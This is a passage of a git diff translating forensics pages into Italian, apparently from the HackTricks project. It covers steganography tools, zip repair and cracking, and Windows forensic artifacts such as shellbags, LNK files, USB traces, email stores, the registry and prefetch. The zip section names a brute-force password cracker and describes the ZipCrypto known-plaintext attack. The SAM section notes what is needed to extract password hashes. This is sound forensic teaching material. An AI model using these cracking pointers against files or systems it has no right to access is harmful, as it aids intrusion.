tecniche di analisi e manipolazione per scoprire dati nascosti all'interno di file audio e video. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## Riferimenti - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..3a0367632 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Strumenti da riga di comando** per gestire **file zip** sono essenziali per diagnosticare, riparare e decifrare file zip. Ecco alcune utilità chiave: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi. +- **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato del file zip. +- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli. +- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il cracking a forza bruta delle password zip, efficace per password fino a circa 7 caratteri. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +La [specifica del formato del file Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +È cruciale notare che i file zip protetti da password **non criptano i nomi dei file o le dimensioni dei file** al loro interno, un difetto di sicurezza non condiviso con i file RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il metodo più vecchio ZipCrypto sono vulnerabili a un **attacco in chiaro** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per decifrare la password del zip, una vulnerabilità dettagliata nell'[articolo di HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo documento accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo attacco in chiaro, dimostrando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili. ## References diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..e85d1a32f 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,495 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Generic Windows Artifacts ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Nel percorso `\Users\\AppData\Local\Microsoft\Windows\Notifications` puoi trovare il database `appdb.dat` (prima dell'anniversario di Windows) o `wpndatabase.db` (dopo l'anniversario di Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +All'interno di questo database SQLite, puoi trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Il database si trova nel percorso `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\ +Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Informazioni sul file (data di quando è stato eliminato) +- `$R{id}`: Contenuto del file ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) ### Volume Shadow Copies -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy. ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non eseguire il backup**: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`. ### Office AutoSaved Files -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## Shell Items -A shell item is an item that contains information about how to access another file. +Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file. ### Recent Documents (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +In questo strumento troverai **2 set** di timestamp: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Primo Set:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Secondo Set:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Il primo set di timestamp fa riferimento ai **timestamp del file stesso**. Il secondo set fa riferimento ai **timestamp del file collegato**. +Puoi ottenere le stesse informazioni eseguendo lo strumento CLI di Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +In questo caso, le informazioni verranno salvate all'interno di un file CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Nota che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Segui questo link per scoprire cosa sono i shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Uso delle USB di Windows -It's possible to identify that a USB device was used thanks to the creation of: +È possibile identificare che un dispositivo USB è stato utilizzato grazie alla creazione di: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Cartella Recenti di Windows +- Cartella Recenti di Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag. -### Registry Information +### Informazioni sul Registro -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Controlla questa pagina per scoprire](interesting-windows-registry-keys.md#usb-information) quali chiavi di registro contengono informazioni interessanti sui dispositivi USB connessi. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) può essere utilizzato per ottenere informazioni sui dispositivi USB che sono stati connessi a un'immagine. ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### Pulizia Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione. -The task is located at the following path: +Il compito si trova al seguente percorso: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: +Uno screenshot che mostra il contenuto del compito è fornito: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Componenti e impostazioni chiave del compito:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo. +- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare. +- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Questa configurazione garantisce una manutenzione e pulizia regolari dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## Email -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Le email contengono **2 parti interessanti: le intestazioni e il contenuto** dell'email. Nelle **intestazioni** puoi trovare informazioni come: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Chi** ha inviato le email (indirizzo email, IP, server di posta che hanno reindirizzato l'email) +- **Quando** è stata inviata l'email -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Inoltre, all'interno delle intestazioni `References` e `In-Reply-To` puoi trovare l'ID dei messaggi: ![](<../../../images/image (484).png>) -### Windows Mail App +### App di posta di Windows -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno delle sottocartelle in `\Users\\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Cambia l'estensione** del file da `.vol` a `.edb` e puoi utilizzare lo strumento [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) per aprirlo. All'interno della tabella `Message` puoi vedere le email. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Quando vengono utilizzati server Exchange o client Outlook, ci saranno alcune intestazioni MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Ora del sistema quando l'email è stata inviata +- `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ciascun messaggio del thread +- `Mapi-Entry-ID`: Identificatore del messaggio. +- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? reindirizzato? fuori ufficio?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario sono memorizzati in un file PST in: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Il percorso del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Puoi aprire il file PST utilizzando lo strumento [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### File OST di Microsoft Outlook -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Un **file OST** viene generato da Microsoft Outlook quando è configurato con **IMAP** o un server **Exchange**, memorizzando informazioni simili a un file PST. Questo file è sincronizzato con il server, mantenendo i dati per **gli ultimi 12 mesi** fino a un **massimo di 50GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Recupero degli Allegati -Lost attachments might be recoverable from: +Allegati persi potrebbero essere recuperabili da: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Per **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Per **IE11 e versioni superiori**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### File MBOX di Thunderbird -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** utilizza **file MBOX** per memorizzare i dati, situati in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Miniature delle Immagini -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione. +- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC. +- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file. -### Windows Registry Information +### Informazioni sul Registro di Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` per varie sottochiavi `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`. +- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`. +- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server. -### Tools +### Strumenti -Some tools are useful to analyze the registry files: +Alcuni strumenti sono utili per analizzare i file di registro: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre informazioni importanti dal registro caricato. -### Recovering Deleted Element +### Recupero di Elementi Cancellati -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Quando una chiave viene eliminata, è contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate. -### Last Write Time +### Ultimo Tempo di Scrittura -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Ogni Chiave-Valore contiene un **timestamp** che indica l'ultima volta che è stata modificata. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +Il file/hive **SAM** contiene gli **hash delle password degli utenti, dei gruppi e degli utenti** del sistema. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +In `SAM\Domains\Account\Users` puoi ottenere il nome utente, il RID, l'ultimo accesso, l'ultimo accesso fallito, il contatore di accesso, la politica delle password e quando è stato creato l'account. Per ottenere gli **hash** hai anche **bisogno** del file/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Voci Interessanti nel Registro di Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Programmi Eseguiti -### Basic Windows Processes +### Processi Windows di Base -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi Windows comuni per rilevare comportamenti sospetti. -### Windows Recent APPs +### APP Recenti di Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata. -### BAM (Background Activity Moderator) +### BAM (Moderatore di Attività in Background) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro). -### Windows Prefetch +### Prefetch di Windows -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un 